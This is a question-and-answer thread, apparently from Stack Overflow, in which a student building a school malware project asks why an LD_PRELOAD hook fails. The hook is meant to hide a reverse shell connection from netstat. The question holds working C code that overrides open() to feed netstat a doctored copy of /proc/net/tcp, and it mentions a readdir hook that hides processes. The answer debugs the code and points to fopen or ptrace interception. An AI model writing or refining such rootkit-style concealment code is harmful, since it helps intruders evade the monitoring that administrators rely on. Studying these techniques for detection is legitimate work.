cportld-preload

Override open function using LD_PRELOAD


I already made a library that i override the readdir function and I use it to cover up some processes, and now am trying to override the open function, in order to hide a port that is opened, this is part of a project i have in school that i have to open a revershell connection and cover it up. netstat is using open function to read from /proc/net/tcp and display the open connections. I want when the /proc/net/tcp file is tryed to be opened to open a file that has all the contents of the /proc/net/tcp file but not the line that contains the port that i am connected with the reverse shell. The file is already made and is in this path /home/kali/Malware/project/hide_port/tcp.

I made this program in c

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <dlfcn.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
    
static int (*original_open)(const char *pathname, int flags, ...) = NULL;
static int redirected_fd = -1;
    
int open(const char *pathname, int flags, ...) {
    // Load the original open function if not loaded
    if (!original_open) {
        original_open = dlsym(RTLD_NEXT, "open");
        if (!original_open) {
            fprintf(stderr, "Error: Unable to load original open function\n");
            return -1;
        }
    }
    
    // Check if the file being opened is /proc/net/tcp
    if (strcmp(pathname, "/proc/net/tcp") == 0) {
        // If not already redirected, open the new file
        if (redirected_fd == -1) {
            redirected_fd = original_open("/home/kali/Malware/project/hide_port/tcp", O_RDONLY);
            if (redirected_fd == -1) {
                fprintf(stderr, "Error: Unable to open /home/kali/Malware/project/hide_port/tcp\n");
                return -1;
            }
        }
    
        // Return the redirected file descriptor
        return redirected_fd;
    } else {
        // Call the original open function for other files
        return original_open(pathname, flags);
    }
}

and then i compile it like this gcc -shared -fPIC -o libnetstat_hide.so hide_sshd.c -ldl

and am running the netstat like this but am still getting the line that reference to the connection

LD_PRELOAD=./libnetstat_hide.so netstat


Solution

  • What I did:

    1. I built your .so and added debug printf.
    2. I invoked netstat using the LD_PRELOAD
    3. Your intercept open function was not called (i.e. no debug printf output).
    4. I reran all this under strace
    5. I examined the strace output

    The simple answer is that netstat uses openat and not open for all its open calls.


    Here is the partial strace output:

    914095 1700075180.092774 [00007f80464adcb2] openat(AT_FDCWD, "/proc/net/tcp", O_RDONLY) = 3
    914095 1700075180.709689 [00007f80464adcb2] openat(AT_FDCWD, "/proc/net/tcp6", O_RDONLY) = 3
    914095 1700075181.104876 [00007f80464adcb2] openat(AT_FDCWD, "/proc/net/sctp/eps", O_RDONLY) = -1 ENOENT (No such file or directory)
    914095 1700075181.104939 [00007f80464adcb2] openat(AT_FDCWD, "/proc/net/sctp6/eps", O_RDONLY) = -1 ENOENT (No such file or directory)
    914095 1700075181.104993 [00007f80464adcb2] openat(AT_FDCWD, "/proc/net/sctp/assocs", O_RDONLY) = -1 ENOENT (No such file or directory)
    914095 1700075181.105047 [00007f80464adcb2] openat(AT_FDCWD, "/proc/net/sctp6/assocs", O_RDONLY) = -1 ENOENT (No such file or directory)
    914095 1700075181.105099 [00007f80464adcb2] openat(AT_FDCWD, "/proc/net/udp", O_RDONLY) = 3
    914095 1700075181.105471 [00007f80464adcb2] openat(AT_FDCWD, "/proc/net/udp6", O_RDONLY) = 3
    914095 1700075181.105813 [00007f80464adcb2] openat(AT_FDCWD, "/proc/net/udplite", O_RDONLY) = 3
    914095 1700075181.106036 [00007f80464adcb2] openat(AT_FDCWD, "/proc/net/udplite6", O_RDONLY) = 3
    914095 1700075181.106262 [00007f80464adcb2] openat(AT_FDCWD, "/proc/net/raw", O_RDONLY) = 3
    914095 1700075181.106438 [00007f80464adcb2] openat(AT_FDCWD, "/proc/net/raw6", O_RDONLY) = 3
    914095 1700075181.106630 [00007f80464adcb2] openat(AT_FDCWD, "/proc/net/unix", O_RDONLY) = 3
    914095 1700075181.118744 [00007f80464adcb2] openat(AT_FDCWD, "/proc/net/ipx/socket", O_RDONLY) = -1 ENOENT (No such file or directory)
    914095 1700075181.118799 [00007f80464adcb2] openat(AT_FDCWD, "/proc/net/ipx", O_RDONLY) = -1 ENOENT (No such file or directory)
    914095 1700075181.118853 [00007f80464adcb2] openat(AT_FDCWD, "/proc/net/ax25", O_RDONLY) = -1 ENOENT (No such file or directory)
    914095 1700075181.118913 [00007f80464adcb2] openat(AT_FDCWD, "/proc/net/x25", O_RDONLY) = -1 ENOENT (No such file or directory)
    914095 1700075181.118965 [00007f80464adcb2] openat(AT_FDCWD, "/proc/net/nr", O_RDONLY) = -1 ENOENT (No such file or directory)
    

    UPDATE:

    I've done a bunch of testing. It appears that netstat uses fopen. So, overriding open [et. al.] won't work because glibc's fopen will use the internal version of open. So, we'd probably need to intercept fopen instead.

    But, due to the way glibc is constructed, the actual symbol is somewhat unclear. It could be fopen64, with or without symbol versioning (e.g. fopen64@GLIBC_2.2.5), _IO_new_fopen or just fopen.

    A simpler way may be to run netstat under a custom ptrace program. That will intercept at the syscall level. It will catch things no matter what *open call(s) netstat uses.

    See my answer: Forcing pthread_create to fail for test purposes for an example of how to intercept syscalls.